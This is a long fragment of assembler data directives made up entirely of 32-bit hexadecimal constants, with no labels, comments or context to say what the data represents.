dd 45319952h, 8075448Eh, 0A063AC4h, 79C649B0h, 0D0EE7CE7h
dd 0AD98030Fh, 76557A8Ch, 6AB16B85h, 463BAB8Ch, 9187DD3Eh
dd 0CD13070Bh, 290A625Ah, 0B54B49CAh, 0E6DE1CB1h, 59051ED9h
dd 82FF1C52h, 0C8463D30h, 76B31E87h, 0A2A30496h, 3313DC23h
dd 8881BB56h, 0D6D7FAEEh, 22F0B6CBh, 0DC085004h, 8592DDAAh
dd 7D3C72ADh, 0D8DB77B7h, 5AE0F0DDh, 0A924214h, 6C0725B0h
dd 0CE605E73h, 0CF6B6B7Eh, 72CF42E3h, 62857E1Eh, 561B79B2h
dd 2F828435h, 0E237BBB2h, 900E28EEh, 4E95F27h, 62B732F1h
dd 11388557h, 0A2E6E244h, 7CC6EC4Ch, 0E05A9262h, 0DE592C6h
dd 28F36541h, 0A3B58F6Ch, 0E89F9AC8h, 0E891D904h, 2E2C5C60h
dd 3992A91Ah, 0EC45156h, 2A4A27E4h, 9CD689D6h, 0D58A1D4Fh
dd 0ED06DB77h, 0A1E17C89h, 5D7B9EEEh, 6A56C41Ah, 9396345Ah
dd 0E0681C02h, 0E598ADDFh, 24290EFFh, 0BC6CB1C4h, 0C87C3516h
dd 3B0A89A1h, 9486FC3Bh, 6857D5BAh, 74B72E37h, 0D61F5D75h
dd 35A669EBh, 0DD3D932Fh, 6CFCB90Fh, 5A82A6BEh, 0A41B309Bh
dd 75B756F8h, 212D2685h, 0D30138h, 0E9F04603h, 6199E3A1h
dd 3EBC0F0Eh, 0F539B8D9h, 0B3ED8203h, 305F1D07h, 0E824299Dh
dd 0E2157B63h, 0EE9818D4h, 20964D98h, 0A6772B6Fh, 0D75DD3FFh
dd 0DE9C5E82h, 8D5DFC23h, 0E8F85C5Ah, 2CC23B4Fh, 22710F2Ch
dd 4C39E747h, 994C35A1h, 9AAF27E7h, 85BA6882h, 0FF690FF8h
dd 29EFE3FFh, 0E2C84B68h, 322220C8h, 0E62E513Ch, 1C119CBh
dd 4F9C98E1h, 0E0570245h, 0BE6BB00Eh, 227873EDh, 8536F7DFh
dd 1B6C9C45h, 0A703A823h, 0E34C6A8Bh, 0BBD2600h, 0CD2AD4C4h
dd 4E1CD5D1h, 5F0103C4h, 4552C537h, 700DE085h, 0E46D40FFh
dd 0EFCD6D9Fh, 0EF9283EAh, 0BCB4947Dh, 982498FEh, 533123E0h
dd 39B925B0h, 9DD65BC8h, 67DF26EEh, 54FD55F1h, 0EE7EA28h
dd 2BD490EAh, 9B7FD304h, 172E6C99h, 36BCB67Ah, 7F77F7D7h
dd 1EB8D8C3h, 5AEF3442h, 24C5DAF4h, 40384CCCh, 15753022h
dd 9F14459h, 636BAC3Bh, 0B08870DEh, 0D2FE35B7h, 7D1F7831h
dd 9AEA64E9h, 74C00413h, 0C3CE9E31h, 16C06C0Ah, 6C805720h
dd 693120FAh, 5EA26513h, 7144EFC0h, 1086210h, 46536E7Eh
dd 4C1A3388h, 79F04D37h, 0BDD3E9E6h, 7F778141h, 0FEB5079Fh
dd 33781323h, 0D1F177Ah, 817A6C6Dh, 9826A147h, 0F73B8D22h
dd 7C819F43h, 81707AC7h, 13C5549Dh, 4BB90021h, 8B35FD83h
dd 0A507F266h, 0A80B32h, 0E43B2EBCh, 1D8969D6h, 0D53D6017h
dd 8C6ECFEAh, 0BCE96855h, 0EC05F1E1h, 84CDFC32h, 0F54DD90Dh
dd 0D2B7B042h, 0F2D9C1D4h, 96726F0Bh, 0F8078204h, 3C7DD10Ch
dd 86D24FEDh, 0BADC956h, 49199BD7h, 0C7405F22h, 7806D9C9h
dd 9927D80Bh, 208A498Fh, 59C602Eh, 0C24C8374h, 509CB60Ch
dd 1F6B5F20h, 8D812FD0h, 0C6D196DFh, 30DA9B3Ch, 0EE19AEB8h
dd 0E95D1560h, 0F7A0F717h, 0DF24BE62h, 2182CBBBh, 0FA0A1540h
dd 5C376FD1h, 7DC0F2BDh, 3AA8FC61h, 140CF792h, 0DEBCAAC9h
dd 589E9ADCh, 0CD005BBFh, 0B67C50D9h, 0D0C234h, 20A2FEA6h
dd 0F2045B2Fh, 0D273C5Bh, 4EE16B16h, 2A80EF32h, 0F5F2761Bh
dd 192008FCh, 3C98D0A9h, 0C16E2D7Fh, 0EEEFC78h, 0AFB9DDB5h
dd 6BAE3D24h, 87399B76h, 43F54ED5h, 0DFA10AA5h, 7A256C23h
dd 7AB2163Dh, 66300B27h, 0A6A2835Ch, 47959D5Dh, 4EA88271h
dd 0B35419D7h, 52E26A9h, 0C700E78h, 0AEFAF095h, 0A2A73B46h
dd 54EC5C57h, 86856255h, 0EE3776D9h, 9680AE6Ch, 6D147B55h
dd 0C795D40h, 1B0359E4h, 62BA3450h, 90F1C487h, 360B14D1h
dd 67C6CE5Dh, 3F31F566h, 28DEA8FCh, 0F3CECBE6h, 0CEDD5FBFh
dd 246FE314h, 0D1B6F0DDh, 3A175D01h, 4C940C55h, 62AA0945h
dd 0CF4EB163h, 287B4926h, 29CC00Ch, 0A334DD0Ch, 5F781F04h
dd 0B45C4893h, 4B863D66h, 7B7EE3E2h, 449E5907h, 5B5F9723h
dd 0CB2E8226h, 7B6EB816h, 53B23DF3h, 43C6D9Dh, 0C177B923h
dd 752C2EE3h, 918B2277h, 0AB61DB7Dh, 3603FC6Ah, 13960FB3h
dd 975CBA51h, 87E740F3h, 3B98FB09h, 3F4380F8h, 6A569629h
dd 9067FE28h, 0CFB37220h, 0EC377D5Ch, 0BC7A686Ah, 0F65F31ACh
dd 3BF794Eh, 71B19587h, 52CB10C6h, 0F9C6748Bh, 0C4384096h
dd 0C75C1947h, 9AD1AD08h, 0EF8DB19Fh, 0DA9A1858h, 7AE8BDD1h
dd 8BB5A30Eh, 26D52B38h, 0BA285769h, 26D318DFh, 7076E1DDh
dd 1551CC77h, 0F2FA5B01h, 4DFB9700h, 34B2D1F2h, 1AD15E81h
dd 0AF977F5h, 0D4057F38h, 902061CAh, 29A973B7h, 62EEAE54h
dd 87BE267Eh, 0FA433770h, 2CAFF573h, 0D5D2D3D3h, 0D4D611A3h
dd 4B67BD52h, 1848D0E1h, 8147BDEDh, 5900B702h, 0BB330D92h
dd 0DCA0955Fh, 0B58E39FCh, 1F87E806h, 403676EAh, 87048590h
dd 2EF6669Ch, 0DA523440h, 66285C8Dh, 5E6796DEh, 63F78D09h
dd 196CCFC9h, 0C1E9404h
dd 585D3024h, 4274CEE2h, 10FFBAE4h, 87508361h, 7E9348CEh
dd 22A26CFAh, 0EFD75A15h, 0A3BF53F5h, 0A1E92370h, 0F0DE558Ch
dd 0A4F3CC07h, 0FB76A4B4h, 5594A1DAh, 74DE436Eh, 0FB63815Dh
dd 0A3138D8Ch, 1BD9E093h, 0D2EC24A5h, 1ABB1856h, 0FEC9C4E9h
dd 45A36CB3h, 22F64F0Dh, 843B83E2h, 96BB18FAh, 0E5D3C936h
dd 82B27F19h, 0AE43EA8Ch, 0DF3085CDh, 6C2C20A1h, 76103C3Dh
dd 36039FD2h, 4EA8376Fh, 0C9D33161h, 982FFD61h, 5D5610B6h
dd 2A5F6B79h, 0AE62F961h, 4DD0C049h, 0F601FF6Fh, 0D9F75FDFh
dd 1A41EDB9h, 1CE42916h, 7B14983Ah, 0BA3901A3h, 171B11Eh
dd 7ACECD66h, 874F9131h, 31646D51h, 8F5ECA0h, 771FEAB6h
dd 38E26BBCh, 54BD8308h, 6E0D7CC6h, 0B29B5E48h, 42B69A21h
dd 0E22235C5h, 2E86DEFCh, 22587BFFh, 3AAB5DB3h, 17A6F4B7h
dd 0E6D124A6h, 3021B21Ch, 802D93A7h, 43138B56h, 66091B18h
dd 0E9E27537h, 1C7DA3D7h, 4951ADBCh, 3203AB9h, 2241D068h
dd 0BF14D23Fh, 0AE9C41EBh, 7779F985h, 0BA7CF992h, 0D21E47AAh
dd 3DA7E0DDh, 8105FA50h, 17230EACh, 5B611ACDh, 2C0AB7EDh
dd 0F6CF0B54h, 2C62D906h, 73566E55h, 0C6FBB34Bh, 980D42D8h
dd 8F9E8724h, 35B097A4h, 0FFD572CCh, 0AB0DF499h, 565AAFCBh
dd 74D2B234h, 9E0042E0h, 80A9A33Eh, 0AC3CE8E5h, 78425479h
dd 66A830EEh, 0B18C8780h, 0B0CC97FDh, 90AE7E0Ch, 2EAF39B9h
dd 0E39971DDh, 17988C57h, 37F8A85Dh, 22BBBECDh, 2121004Eh
dd 35DD9D02h, 380001D3h, 0ACCB359Ch, 767FD493h, 0C39C693Bh
dd 0FE6A1074h, 0C8298DA1h, 5E2A26F9h, 7A5135B5h, 37A60A1h
dd 3F5BDDAh, 78580743h, 0F4C5933Ah, 0D85D031Eh, 0D7748FA5h
dd 0D0E2C1EFh, 14D4B153h, 9C54F01h, 365A70D0h, 3BA01D10h
dd 9DAC900h, 0DDD4839Fh, 0BA241994h, 8A010D9Ch, 9AE73690h
dd 13924C95h, 0FC2B87F9h, 4F05CD06h, 4B490A0Ah, 0A911BDAEh
dd 0D857AAB4h, 3F225400h, 59732645h, 6872B7B5h, 95F56E97h
dd 3C18FADAh, 4C38A6Ah, 0E3D32BC3h, 0AB6EEB81h, 794EEFDBh
dd 4E1F425Bh, 60B3E483h, 6BB1C19Eh, 0B82015D7h, 52164BD8h
dd 3D15953Bh, 0B4B6373Bh, 5052C0E2h, 9673DFFBh, 0F280CBBBh
dd 0C0164F41h, 0AF480A7h, 143D7514h, 0B1DE8BFCh, 11705501h
dd 0A7668674h, 854480AFh, 86063FE4h, 73C55C3Ch, 0DDFD19B9h
dd 24F7EDACh, 0ABC2B158h, 1C30C29Ah, 1EAB744Eh, 4A183BD7h
dd 0B4FFC033h, 752B83C0h, 0AC63CB9Ch, 975B9B9Dh, 23B6C773h
dd 6B38618Ah, 5CB45E94h, 52653F02h, 3EF8232Bh, 77A0D44Dh
dd 22DB1BEBh, 5173211Bh, 0BE88A36Ch, 70BC95A1h, 1D55132Dh
dd 9C7898B6h, 1DAA4A8h, 6D4F7573h, 6BC9B828h, 6CBAD5E7h
dd 0CB699A9h, 87648E0Bh, 83154A30h, 7A51D776h, 74F31A74h
dd 8BD5029Fh, 0A3A4CE59h, 9E3BFE9Ah, 5015948Fh, 404A7205h
dd 0CB3C3DBCh, 5AC91E76h, 0F0366334h, 8BA1389Bh, 10B2BF03h
dd 0E9EDF9F1h, 0E04E305Dh, 9689FF55h, 0A2BD36B3h, 97D175BCh
dd 9B5BA2A3h, 9B512053h, 6A7D0BC6h, 757B11E9h, 3155CAF9h
dd 0C6CFE617h, 0CA9F6D2Eh, 5A3F2D06h, 8BEE9DCDh, 0BA86EF51h
dd 0EC4FC1FBh, 3641DD16h, 15D8AED6h, 0ADAE4E6Ah, 0D9A086DDh
dd 0C0BBC4A0h, 0D1EA3CFFh, 58C3211Dh, 65AAA42Eh, 19812832h
dd 0FCD012F4h, 0A73C868Fh, 819B2719h, 8A6C139Ah, 0EE763133h
dd 0FA3A36E3h, 0C6A06F8Fh, 87E3D475h, 0DDF58C10h, 365227ECh
dd 3FE5C4ECh, 8941EDBh, 0E5017B55h, 4CD685A9h, 7E60D92Eh
dd 1C79287Dh, 0C67F57DDh, 3F892CD0h, 6540FFC7h, 6830CB45h
dd 7C833F72h, 0D97C6056h, 0C03E4D08h, 979E9166h, 7EA85384h
dd 0BDFCD211h, 3FAEADE3h, 515C8BABh, 6B81B5B9h, 0C8312EA9h
dd 734409F5h, 89303AFAh, 0EC0F03F4h, 81F686E7h, 8A8DEF9h
dd 31CA103Eh, 0D7791B8Ch, 62E0D9D1h, 0CF3AD604h, 3BB7E6Dh
dd 865E3B24h, 1B08147Dh, 4A65DA79h, 0C08DB221h, 6220EE20h
dd 307AF504h, 0A08A972Bh, 9CC41640h, 0E799137Fh, 5451041Ch
dd 0B826CFC5h, 7206A494h, 0A241074Eh, 38EDD96Fh, 0FA280773h
dd 3DACF45Ah, 0BF520D2Bh, 0E3839C80h, 95950775h, 40A622F5h
dd 59A06E08h, 43B1B873h, 0BE3C77A6h, 6B05DD8h, 0BB0C41D0h
dd 0A60289F6h, 0C41601D3h, 0CDD312F2h, 0ACB1519Fh, 222BDD56h
dd 2429B1D9h, 6A845F83h, 229BDC69h, 16CE4962h, 92B90751h
dd 1CD11D9Bh, 692DD548h, 0CE1677A7h, 8B5C2D50h, 3AAB2B9h
dd 3144FA08h, 38E35FB0h, 625338Fh, 0CE77C70Ch, 0CA9A32EAh
dd 0E86099C7h, 37D79396h, 15DCF4D8h, 39920BD9h, 68101917h
dd 39CA4904h, 0DCFC57A0h, 7CCB3C41h, 81A2B99h, 0D5983C76h
dd 5484C21Fh, 0DEA04AB9h, 0C4C6B412h, 0D365B3B6h, 0B40CB5BEh
dd 0C8C21A60h, 9DBA93B0h, 0C6A0B1F6h, 8A44864Dh, 3B33C78Ch
dd 0C076E357h, 8C219E35h, 39C1F840h, 4AC01B09h, 0A6264651h
dd 19CD393Bh, 55580DA9h, 0DE9855Ah, 0AC71588Ah, 3D390D54h
dd 230E0BFFh, 0CD535347h, 6F2724DEh, 73A5BBD6h, 9201BD83h
dd 0C67B8C03h, 0B29560B9h, 0DAC236Eh, 0EB4E571Ch, 0B7FC5662h
dd 4D30C5EEh, 0B828B32Fh, 4F3C458Ah, 3D62FAD6h, 0F72DE7A7h
dd 8CA9EF01h, 0E01B177h, 0AEA58C1Fh, 675E6722h, 44E47886h
dd 0D09D17E9h, 0BBE49772h, 4C9DE113h, 56B00818h, 0C99A2EA2h
dd 58695A87h, 0D146C2E9h, 23EE05h, 23EEBF63h, 0F4FAA661h
dd 979F96EDh, 0E6559DEEh, 0E8A215ECh, 0F7C93F32h, 0FD2340F5h
dd 3EFB8E6h, 250087E3h, 4BF29625h, 0CDEF4845h, 0B41A36D6h
dd 34D325D1h, 636C34B1h, 588A0844h, 0B2A46299h, 8C90509Dh
dd 0AD03DBDFh, 4803D999h, 0D2436DFDh, 48A28F7Dh, 0E6130553h
dd 10B49159h, 0E6B34F8h, 392734C7h, 53FC703Bh, 4A146586h
dd 261D46DCh, 0B636D42Ah, 8D3EB37Dh, 9AD26261h, 26EC7966h
dd 4E6A0E64h, 7FD62EF5h, 8DE737D7h, 868FBBBDh, 20981B3Fh
dd 0CD289C51h, 148ACE8Dh, 40F6F2E3h, 0C62439E2h, 3880D37h
dd 5FCC9842h, 75AE2294h, 8E407959h, 12FB35A1h, 480C88BDh
dd 2FBAD3DDh, 5C6A736Ch, 12C70B37h, 8503FB08h, 37E7BCCEh
dd 0A6AE0440h, 55B76965h, 0CBBAB9ADh, 0C10517B9h, 3C1CA4BCh
dd 0B715543Dh, 920CA036h, 2C3AB0C1h, 8E73110Ah, 2FCB643Eh
dd 369FACDCh, 308204F6h, 0D55281B3h, 4471DC67h, 4FCA0C16h
dd 0C2F086BCh, 0F0361E3Ah, 18913A8Fh, 0CF38330Eh, 7595A15Ch
dd 0D82EAF36h, 0E0D6EFEAh, 7D99D657h, 180BF5B1h, 643B4CC7h
dd 0F3E458EBh, 5CA7174h, 93BC0D15h, 9A46B3F0h, 0CB876F1Dh
dd 0D18676A8h, 8E61BC85h, 6123D1B1h, 2F26A895h, 3099D037h
dd 0D219BEF5h, 0ACB57806h, 53B25BE4h, 3BEA0C49h, 6560CDF3h
dd 44A7B9FCh, 2ACE20EDh, 552D58D5h, 6E744C59h, 580C8C49h
dd 0E331A221h, 14C846D1h, 359B46FBh, 8CE6648Ch, 0AF54DB63h
dd 5D1EB90h, 0EC1A0EB6h, 0A9B8B29Dh, 83EE9257h, 8A2690A1h
dd 5B279488h, 0D9CD0917h, 5C1FFFF9h, 6EC0FB2Fh, 832003FFh
dd 635ACC85h, 14062413h, 0EB7E64BCh, 0FD083B99h, 0F42182Ch
dd 0CC77894Fh, 567EEE7Ch, 59C81389h, 0F502099h, 8B8D1CD5h
dd 175F0215h, 0F54AB399h, 0DFB451BEh, 0DE731DAFh, 6E66DD15h
dd 425F8CB4h, 0A062E558h, 5182A461h, 3AF31FA2h, 3EAC79C6h
dd 4AD77863h, 9B30A48Fh, 2B5EFD11h, 0A0FFE627h, 32BF0AD1h
dd 0B260CD20h, 97648CFh
dd 35245DE0h, 0D101C645h, 0C30B88BDh, 6A4031CBh, 0E515A97Dh
dd 86EA92AAh, 0BD413193h, 0A9B1AEB1h, 704FFD59h, 9884A215h
dd 0A051507Dh, 96413DBBh, 1483742Bh, 6156A056h, 65E63737h
dd 5289D3F2h, 41230F68h, 70025630h, 0CB282353h, 0EF7A59BAh
dd 0FE6F73DAh, 465C8BFDh, 4ED975B7h, 56FD5665h, 8B390957h
dd 0FC7F72BCh, 0F530954h, 5186EDh, 5DEAAF94h, 18BE11DBh
dd 28865B31h, 4FD4B0CEh, 0FA80673Ch, 0BA669381h, 810B8FE1h
dd 25B0E607h, 0D38CD253h, 0A8109E0Bh, 0D3AB7A02h, 0A5CC0CE4h
dd 667B8237h, 0F08714B0h, 87263EFh, 0AC7786D6h, 51ADC3DDh
dd 84E0FBB1h, 0C51BB83Ah, 49E64B51h, 0A300AAB9h, 1E545B59h
dd 62694213h, 0C74CDE86h, 0C1069C54h, 0A8127035h, 0C4ACB782h
dd 0F2D7D886h, 6C7346D5h, 16836989h, 0A5F2FBAAh, 521262D7h
dd 778D4A98h, 7B9FE962h, 7B772F0Ah, 5389BEB9h, 1D09AF9Eh
dd 74013856h, 3742C52Ch, 412C1C26h, 58B16B3Dh, 716AF2C6h
dd 716BFE67h, 0FABA1F5Bh, 0CD0001Ah, 9598B747h, 0BFB344C9h
dd 5BC1CC8h, 67CB0E80h, 4C577CDh, 2A547704h, 7A68C19h
dd 0FC6ACFE1h, 8108CCD2h, 0FC46B77Ah, 0F0AEAC0h, 0D944BD94h
dd 94B6BD50h, 0DD6AAAB5h, 93AA8E04h, 42DCB66Bh, 0BC1562C9h
dd 0E697543Bh, 0DF9BD01Eh, 0E024B32Bh, 523D00E4h, 78E0F64h
dd 2505F076h, 37138940h, 0E47FEBCCh, 0A07B6173h, 0F62CD6B4h
dd 0CA95D231h, 2E32C1F6h, 6BDBD222h, 5BE24477h, 60DAE5D4h
dd 220527ADh, 977E592Dh, 4D945198h, 0FD3927B2h, 2D642583h
dd 8B49A8E9h, 0D8338C63h, 48825591h, 81AF88FBh, 0DFAA0584h
dd 3D29212Fh, 0B9EFECB3h, 0B4A31F3Dh, 416A8C00h, 3F7706A3h
dd 818FB107h, 10E39EC6h, 292DB172h, 21E806F1h, 6F213EE3h
dd 3D6A3FC1h, 0E0CB2426h, 0E1535552h, 0DB40E1B2h, 604F58AEh
dd 0C1AC6F2Ch, 6E265C80h, 0B5BF3CAEh, 44F2EDE9h, 574ED572h
dd 0C1DA3F78h, 2D21801Ah, 65961802h, 0B2FBE7AAh, 0F349AD41h
dd 7298B8E7h, 0CD7DD386h, 2F809001h, 0C4621A4Eh, 28BE3983h
dd 3B103333h, 8C79314Eh, 0E2744450h, 0BFAB8F2Bh, 0F9EAFD2h
dd 2791A136h, 936200E4h, 29DE4159h, 2F75967Ah, 72D8007Eh
dd 7511FA2Bh, 0CAA360A0h, 0F0979459h, 0E12DAAB2h, 72CFE20h
dd 0F5A80ECFh, 38B324CDh, 8C39AEEDh, 419BDD43h, 0D981CCFFh
dd 0BD1643ABh, 9A4BB9E7h, 21BCAF94h, 46BEFA38h, 0CA1D0A8Bh
dd 0DE743D56h, 29399678h, 16F7E51Ah, 15A39F14h, 650F980Dh
dd 1F95E246h, 5CDC5239h, 47998232h, 35558E7h, 1ACA26C0h
dd 0A0C9D7FFh, 2F66D430h, 0C2D95596h, 0F4F6FAA5h, 0D2AE5F4Fh
dd 0F9DB4E8h, 42D443A3h, 9F8F93DAh, 24F37915h, 39A323CAh
dd 0FA21B9F7h, 3C64AC87h, 0AE27DD5Ah, 38C3C3A7h, 0A38C53B6h
dd 223197B4h, 0A497E2E4h, 0D30E9F24h, 5AF318DBh, 42469D89h
dd 9DDEB9D3h, 0BA7549DAh, 3A6169A3h, 0F3AD2458h, 1037B897h
dd 1C287A4Fh, 0F0726CA4h, 41CB3FCh, 0AB990D75h, 0A9C60960h
dd 3AAC481Ch, 1533070Bh, 9BA5C2ADh, 66031CEBh, 81B0C8CAh
dd 5AE3A7B6h, 89886C94h, 4A6841A9h, 0D368DDA6h, 2A78B0FEh
dd 7A127797h, 98471595h, 1F77BDEDh, 0A2FFBF0Ch, 1AB29880h
dd 0E199951h, 7500FB02h, 0B38F5964h, 5C9D7947h, 8C6A3EFCh
dd 0F394E244h, 71B0A983h, 9A0BE0BDh, 4338EDC8h, 545D4EA7h
dd 0BA713337h, 0EEEABBB7h, 702774DFh, 2BA107B5h, 4FEB3CE1h
dd 862FD13Dh, 0DE34C6B2h, 8AC88553h, 4ABA031Eh, 0BADD1B67h
dd 1D910BA8h, 0CB487EF5h, 0D2C3C87Eh, 0FA4EF93Dh, 2E4E63C6h
dd 422463C7h, 7D3BF4E7h, 2BD084CAh, 2B4C7170h, 0C21A0F6Fh
dd 0A5670171h, 0E1D8DA65h, 2F7731B8h, 8E58A7A7h, 1A1230C6h
dd 1465873Bh, 9E31C66Dh, 0A4EBF60Fh, 0C44F688Bh, 3574C765h
dd 0A9C23F3Fh, 0DE251CFFh, 40290831h, 0D64BAEAFh, 1457027h
dd 7B6FEC13h, 0A2990930h, 0D25F03D6h, 9DB85E24h, 1C0CD2C1h
dd 0E78F5636h, 2E1FBEh, 0E9BDF8A9h, 0CC0597A8h, 0F6B8CBBFh
dd 65BC17E3h, 784FBA46h, 885CDEEh, 3A810D47h, 29EA8483h
dd 0A3445E26h, 24AB094Fh, 58F5E0A0h, 332D433Bh, 0E1015AF8h
dd 7A855BEEh, 0A386E31Dh, 8BD78DD9h, 0DC2A7B28h, 0B2B1BF82h
dd 5CD3199Eh, 288BCBD2h, 0D288094Eh, 432E9F71h, 8DBCC07h
dd 0E6F92330h, 9A1D4460h, 30BB7186h, 8D08D199h, 6355D51Fh
dd 2DD3D690h, 0FFA55232h, 0ED2B9C01h, 749BA056h, 6C5696CFh
dd 871FC99Ch, 8F6BA327h, 0FEEEAA29h, 0ACE47E31h, 9A9BFF3Ch
dd 8CDAAC44h, 0F785AFB7h, 0B581ACE7h, 0CC24C4B7h, 0D081BB22h
dd 0A570602Fh, 9BE7E7F9h, 0C249E27Fh, 6CB14AC6h, 0B2539436h
dd 11F35800h, 69550ECEh, 0ADBF890Ch, 1DBF122Eh, 3D05A60Ah
dd 49260318h, 24FDB040h, 0B262010Ch, 21AC10A5h, 0BEB43EDh
dd 450661A2h, 683AD716h, 0C3829196h, 0A77329D6h, 378225F5h
dd 0C7E41E58h, 6030129Dh, 0B5640E7Bh, 734EA8C8h, 0BB2E37A0h
dd 3D33120Eh, 0FA9D97B9h, 2A7051D7h, 86EE4547h, 6F6CF39Bh
dd 3F6347ECh, 697E7785h, 7D59B3F3h, 0C0301F65h, 6C6F6E10h
dd 41CFEF16h, 7E524235h, 0EB0D87B5h, 8F892906h, 0C702D123h
dd 0E78FB2E8h, 9B893A5Eh, 0C0D93847h, 0B1708B26h, 39D91A5Dh
dd 397A8892h, 9FF4A602h, 502B995h, 21AA3A22h, 0FD9EDADDh
dd 0A2D3611Eh, 83DDA546h, 51355EC0h, 5C98CC2Dh, 6625E64Fh
dd 55CDC1EDh, 9DDCBFABh, 79036586h, 0E7BC78E8h, 41258070h
dd 0C8A6C341h, 0DA9752A6h, 0EE4638E2h, 0EF1863EFh, 0BDD6CC80h
dd 25B6F7F8h, 0FDAC70E5h, 0E23625CAh, 5A8260A0h, 58AC4560h
dd 56C7CD3Ch, 0DD5994EFh, 4A5C32BAh, 98ECE796h, 2CA49869h
dd 21DCABFh, 0E76745E3h, 0E700305h, 0A70D4260h, 0E060F04Fh
dd 210AC71h, 6B823076h, 0A4601919h, 0D2399DCEh, 0D6261036h
dd 0CBC827E2h, 0C513DAA1h, 1419CC15h, 99D434EAh, 87709286h
dd 76324B87h, 3B57FC16h, 0D9384CF1h, 285DA7A6h, 505FF3D4h
dd 2B6C2194h, 5B665D76h, 0AA67461Ah, 395F7A8h, 0BC36D3FBh
dd 0B9243109h, 0B3957A4h, 0A912C6DFh, 0ABBA27Dh, 61C24AAh
dd 0D649B62Ah, 0BE09CBD5h, 8DA27ADh, 0BCFD4C87h, 32404722h
dd 1132FDC3h, 848A7BC6h, 0BFA2E77Bh, 0C07B18B8h, 0C16DF232h
dd 1541DC1Eh, 0BF84BB6Eh, 0F4AF1730h, 433DE0A9h, 84D90124h
dd 0FBAD849Dh, 24334DDEh, 0D5C9320Ch, 447F90BFh, 0B358C867h
dd 7F854C0h, 9E036B68h, 9ABEBA0Fh, 9E50C6AEh, 0D1DB2901h
dd 68DDBA9Fh, 0E414D987h, 47F75325h, 84D9E3CFh, 0B4990F9Eh
dd 0DAE82189h, 91B628B1h, 20FFC778h, 0DA0DFC8Ah, 0DE200F73h
dd 0FEB483A1h, 851A3A53h, 17582985h, 0DAD56AF8h, 693FF6D0h
dd 0B6B6D013h, 0E9261320h, 627CF2CCh, 0E0B8B286h, 0DE0392DAh
dd 0CC751E14h, 87E7F81h, 7F5DCDA2h, 49181967h, 1DA6449Eh
dd 0AC3FAA66h, 64AF712Bh, 92415159h, 3CD96D26h, 6134602h
dd 7FB38324h, 0D3B3B80Dh, 190C4998h, 8234C45h, 9EFCA383h
dd 0F790F94Dh, 512BEFB6h, 0D0C4AF57h, 84C419F3h, 0BDE579FAh
dd 4F9F9F5Eh, 7F4E2A91h, 0A571276Dh, 75DD5E4Ah, 0D4360EB3h
dd 298FFAC8h, 0B8FB9A08h, 0D68D64F8h, 5D0FFAE6h, 22E499B7h
dd 0A9CFB1E3h, 5D074062h, 0B34AD730h, 27FF757Ah, 0EB413F06h
dd 0D18A314Eh, 0EB50215Dh, 4D406269h, 841D023Bh, 767C891Bh
dd 0DF3E811Bh, 0C45ACA2Ch
dd 0F6F69C34h, 0C1DB1705h, 0F4F64730h, 0FC067A6Ch, 0B50130A8h
dd 121080CBh, 713CF487h, 0CB3FA3A1h, 26FCC8CEh, 6BA15B90h
dd 0FB1A2F9Bh, 0AFD5C904h, 0A0B166B5h, 0CA7B1C41h, 0D53D6B46h
dd 0CD809288h, 33137471h, 5E8F9A1Eh, 145D29CEh, 5F9EF464h
dd 0A42D4EA3h, 8B99A2A2h, 67A0FC44h, 0D8BEFB81h, 32B1AD7Dh
dd 49A3725Dh, 3B0C0DD7h, 0AD4312AEh, 0FD0E211Ch, 0C50570A3h
dd 0B397CF89h, 678AE49Ch, 5700EB12h, 0F82BAB1Fh, 0EA94C3DFh
dd 7AFF6596h, 9868D16h, 546C0C71h, 0C995E80Dh, 0BE102DA4h
dd 123EF2B5h, 0F6D71DACh, 0CD4BD6CAh, 30C628F1h, 81A78BB4h
dd 5AF7443Ch, 0EFBCD558h, 7FBAAAD9h, 3054E27Eh, 0FD247A31h
dd 83E4E459h, 1BC08A57h, 41EEB0E3h, 0F84A845Eh, 0C3813B19h
dd 436F0149h, 0B6BCF0A6h, 79B6188Fh, 37AEA6Bh, 880FB7A7h
dd 814B2AC0h, 0B5D75FBFh, 0F0F873F0h, 6B0F808h, 5EA3D358h
dd 2A688426h, 0A5D1190Bh, 7936329Ch, 3D5BDE0Eh, 0E434A1A9h
dd 4CCC06A7h, 67A374CBh, 0ADDFEAB6h, 2D880646h, 93254B45h
dd 0DB3DD5AEh, 78A06471h, 4B83E5B5h, 0C5AA5976h, 1B50D3DDh
dd 117FFD9Ch, 5C4FED65h, 0D516BFE1h, 0BD06A934h, 66871A29h
dd 4C6A137Dh, 8DCB2A99h, 0D9C7C8C6h, 158B02F4h, 88A3C647h
dd 0E607249Bh, 0D75735AAh, 1AA965BBh, 24BACC1Bh, 3133B78Fh
dd 3BA852C3h, 0A5802BC4h, 0A50811A7h, 3A250B28h, 550E12B3h
dd 0F3651F94h, 0B805D2F0h, 0EF66A39Fh, 0BAD6F5A9h, 52C1217Ch
dd 0B18FFBD1h, 10E667C1h, 0AEA47801h, 0E0A04D9Fh, 3F7A42E9h
dd 36AABEA3h, 0CC724842h, 42E41B69h, 0BF05D308h, 0AB4A061Dh
dd 7C51C2EBh, 2819D039h, 6C996724h, 0BEB5E3F4h, 0E759323Ah
dd 2EEB6EDBh, 53A941DAh, 0B7B0D961h, 9D212678h, 0BA627EF1h
dd 0A5BBADF3h, 389F1DDAh, 20E08688h, 2223CDE4h, 0A4CAB331h
dd 34595899h, 3EC63ADCh, 226666FCh, 0ACD50635h, 0BE06C04Fh
dd 0E01C789Fh, 0B01CA83Eh, 8FD81A0Ah, 531FEFFDh, 0F9ED3488h
dd 6A0E8883h, 31B1099Ah, 0C743B7A0h, 3DB23282h, 96C075DBh
dd 0CB1E9A92h, 8FCCEE64h, 29B4D942h, 0C4D972D7h, 37A4EC19h
dd 0B7939F3Dh, 4CF1D032h, 10AEC0FFh, 862ED9BCh, 2869A60Bh
dd 6DD13D2Dh, 57588DC0h, 0B932EDACh, 0A25FDDEDh, 3D7EA2B6h
dd 8C19B355h, 0B0DC2BF0h, 6C46E8E0h, 0D581F537h, 0E5C54443h
dd 2F32A82Eh, 79DB7387h, 0FF74345Eh, 825B84DFh, 0B8EBE448h
dd 6760D7C6h, 0DF90AF42h, 0F5619D53h, 0E068D0AAh, 1BDAB0CCh
dd 0BCA2262Dh, 0E79DB353h, 875E5BCCh, 472B20EBh, 0F8D43453h
dd 0F41665BEh, 4A8EB031h, 393D6280h, 70E83ADAh, 0A1C26F99h
dd 254866F1h, 0E8F95C45h, 9F3548FCh, 606C536Fh, 0DC0EDBCFh
dd 970DDCFCh, 2E1E8E29h, 66A8F674h, 0A755D19Eh, 5A18A783h
